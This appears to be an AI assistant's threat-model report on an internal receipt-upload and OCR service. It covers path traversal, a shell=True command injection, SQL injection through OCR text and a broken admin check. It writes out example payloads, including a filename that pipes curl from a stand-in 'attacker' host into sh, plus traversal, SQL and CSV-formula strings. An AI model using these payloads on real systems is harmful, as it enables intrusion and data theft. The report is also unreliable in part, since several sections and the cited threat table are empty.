Security Threat Model

I'm skipping the assumption check-in the skill normally calls for, because you said not to ask and gave the context up front. The remaining assumptions are listed below, and the conclusions that depend on them are marked. I also couldn't write skill-trial-icjul6yt-threat-model.md, because I have no file-write tool in this session. The full report is below, and you can save it as is.

Executive summary

Any logged-in employee can get code execution as root, and the code has three separate paths to it. They are an unsanitised upload filename (arbitrary file write), shell=True with that same filename in the worker, and SQL built by f-string from OCR text the attacker controls. With the container's SECRET_KEY and DB_URL, that becomes full access to all receipts and the database. Separately, /admin/export checks only for the @company.com suffix, which every employee has, so the admin check does nothing. /receipt/{name} has no ownership check, so any employee can read anyone's receipts. The VPC and SSO shrink the attacker pool to employees and compromised employee accounts. They don't change what that attacker can reach, and there are no per-user boundaries behind the login.

Scope and assumptions

• In scope: app/main.py, app/worker.py, config.py, the Dockerfile and its build and dependency handling. The runtime and build paths are covered together because the Dockerfile is the only build artifact.
• Out of scope (per you): the SSO provider and the cloud account.
• Assumptions:
  • The framework is FastAPI/Starlette, inferred from @app.post, Depends and FileResponse.
  • job_queue is a Redis-backed queue (RQ or similar). The code doesn't show it.
  • The web app and the worker run from the same root image, with SECRET_KEY and DB_URL in both environments.
  • /data/uploads is a shared persistent volume.
  • The reverse proxy enforces no body-size, filename or content-type rules.
  • current_user is derived from SSO headers or a session, and its internals weren't provided.
  • Users are mostly honest, but one phished or malicious account is a realistic starting point.
• Open questions that would change the ranking:
  1. Are there roles beyond "employee", such as finance or admin, and who should be able to call /admin/export?
  2. Does the worker or Redis hold credentials with reach beyond this app, such as a broad DB user, cloud instance role or network access to other internal services?
  3. Can contractors or other non-company.com identities authenticate through SSO? This affects TM-005.

System model

Primary components

• Reverse proxy: TLS and SSO enforcement (assumed).
• Web API: app/main.py with /upload, /receipt/{name} and /admin/export.
• Job queue: job_queue.enqueue(ocr_receipt, path, user.id).
• OCR worker: app/worker.py, which shells out to tesseract.
• File store: /data/uploads (config.py: UPLOAD_DIR).
• Database: an expenses table reached through DB_URL.
• Container: runs as root, and tesseract is installed from apt with unpinned versions.

Data flows and trust boundaries

• Employee browser → Reverse proxy → Web API
  • Data crossing: SSO session, multipart file with an attacker-chosen filename, path parameters.
  • Channel: HTTPS (assumed).
  • Guarantees: SSO authentication only.
  • Validation: none. file.filename, file size and file type are not checked, and name is not checked.
• Web API → File store
  • Data crossing: raw receipt bytes written to os.path.join(UPLOAD_DIR, file.filename).
  • Channel: local filesystem, as root.
  • Guarantees: none. There is no path canonicalisation, ownership record or collision handling. An absolute filename makes os.path.join discard UPLOAD_DIR.
• Web API → Job queue → Worker
  • Data crossing: path string and user_id.
  • Channel: Redis or similar (assumed).
  • Guarantees: unknown. The queue is likely unauthenticated inside the VPC, and RQ-style queues pickle their payloads.
• Worker → tesseract (subprocess)
  • Data crossing: the path is interpolated into a shell string with shell=True. The image content is parsed by tesseract and its libraries.
  • Guarantees: none. There is no argument list, no sandbox and no resource limits.
• Worker → Database
  • Data crossing: OCR text, which comes from attacker-supplied images, interpolated into SQL by f-string.
  • Guarantees: none. There is no parameterisation, and text is bytes, so the stored value is b'...'.
• Web API → Employee (/receipt, /export)
  • Data crossing: receipt files, plus a CSV of every expense.
  • Guarantees: authentication only. There is no per-user authorisation on /receipt, and the check on /export is trivially satisfied.

Diagram

flowchart LR
  subgraph Untrusted
    U["Employee browser"]
  end
  subgraph VPC
    P["Reverse proxy SSO"]
    W["Web API"]
    Q["Job queue"]
    K["OCR worker"]
    T["Tesseract"]
    F["Upload volume"]
    D["Expenses DB"]
  end
  U --> P
  P --> W
  W --> F
  W --> Q
  W --> D
  Q --> K
  K --> T
  T --> F
  K --> D

Assets and security objectives

Attacker model

Capabilities

• Any authenticated employee, which covers roughly 400 people, a phished or compromised account, or a malicious insider.
• Full control over the filename, content and size of uploads.
• Free choice of name on /receipt/{name}.
• Free choice of the text inside an uploaded image, which OCR passes through to SQL.

Non-capabilities

• No anonymous or internet access, since the service is behind the VPC and SSO.
• No compromise of the SSO provider or cloud account (out of scope).
• No direct network access to the DB or queue at the start. Reaching them requires first getting code execution in the app.

Entry points and attack surfaces

Top abuse paths

1. Arbitrary file write to RCE as root:
   1. Upload with filename ../../app/main.py, or an absolute path like /app/app/main.py.
   2. The app overwrites its own code, or a .pth file, cron entry or similar.
   3. On the next restart or import, the attacker has root code execution.
   4. They read SECRET_KEY and DB_URL and dump everything.
2. Command injection in the worker:
   1. Upload a file named x;curl attacker|sh;.png.
   2. ocr_receipt runs tesseract x;curl attacker|sh;.png - through the shell.
   3. This gives root RCE in the worker, with DB and queue access.
3. SQL injection via OCR text:
   1. Upload an image that renders the text '); UPDATE expenses SET ... --, or a subquery that copies other rows into this record's raw_text.
   2. The worker interpolates it into SQL.
   3. The attacker tampers with financial records, or reads other users' rows through their own /export or record view.
4. Mass PII read through the broken admin check:
   1. Any employee calls /admin/export.
   2. The @company.com suffix check passes.
   3. They receive a CSV of every user's OCR text, including card fragments and personal data.
5. Cross-user receipt read (IDOR):
   1. Enumerate or guess filenames. They are user-chosen, often receipt.pdf, IMG_0001.jpg.
   2. Call GET /receipt/{name} and read other employees' receipts.
6. Stored XSS to admin actions:
   1. Upload evil.html containing JavaScript.
   2. Send the /receipt/evil.html link to a target.
   3. The script runs on the app origin with the victim's session, calls /admin/export, and exfiltrates the result.
7. Receipt tampering:
   1. Upload a file with the same name as a victim's receipt.
   2. It silently overwrites the original, which is an integrity break for financial evidence with no audit trail.
8. DoS and parser exploitation:
   1. Upload huge or malformed files.
   2. The disk fills, the worker stalls, or a vulnerable image library crashes or is exploited, because dependencies are unpinned, outdated or patchable only on rebuild.
9. CSV formula injection:
   1. A receipt's OCR text starts with =HYPERLINK(...) or =cmd|....
   2. Finance opens the export in Excel and the formula executes.

Threat model table

Criticality calibration

• Critical means code execution, or reading or modifying all receipts and expenses, by any employee.
  • Examples: TM-001 (traversal to RCE), TM-002 (command injection), TM-004 (open admin export).
• High means exposure of other users' PII or a path to privileged actions, but with narrower reach.
  • Examples: cross-user receipt reads, stored XSS that rides an admin session, a DB role that allows reading cloud metadata.
• Medium means disruption, or an issue that needs a further precondition.
  • Examples: disk-filling uploads, an unauthenticated queue (if the network allows it), unpinned dependency drift.
• Low means limited impact or an unlikely precondition.
  • Examples: version disclosure in errors, missing security headers on non-sensitive responses, verbose 500 pages.

Focus paths for security review

Quality check

• Entry points: upload, receipt read, export, queue and build are all covered.
• Trust boundaries: each one in the diagram appears in at least one threat.
• Runtime vs build: TM-008 is the only build-time item. The rest is runtime.
• User clarifications: your context is reflected throughout. Open questions are listed in "Scope and assumptions", and none were answered.
• Assumptions: the framework, queue type, shared root image, proxy behaviour and current_user internals remain unverified.

If you want a fix order, I'd go TM-004, TM-002, TM-001, TM-003, then TM-005. All five are small code changes. The first four are about a line or a few lines each, and TM-005 needs an owner column on the receipts.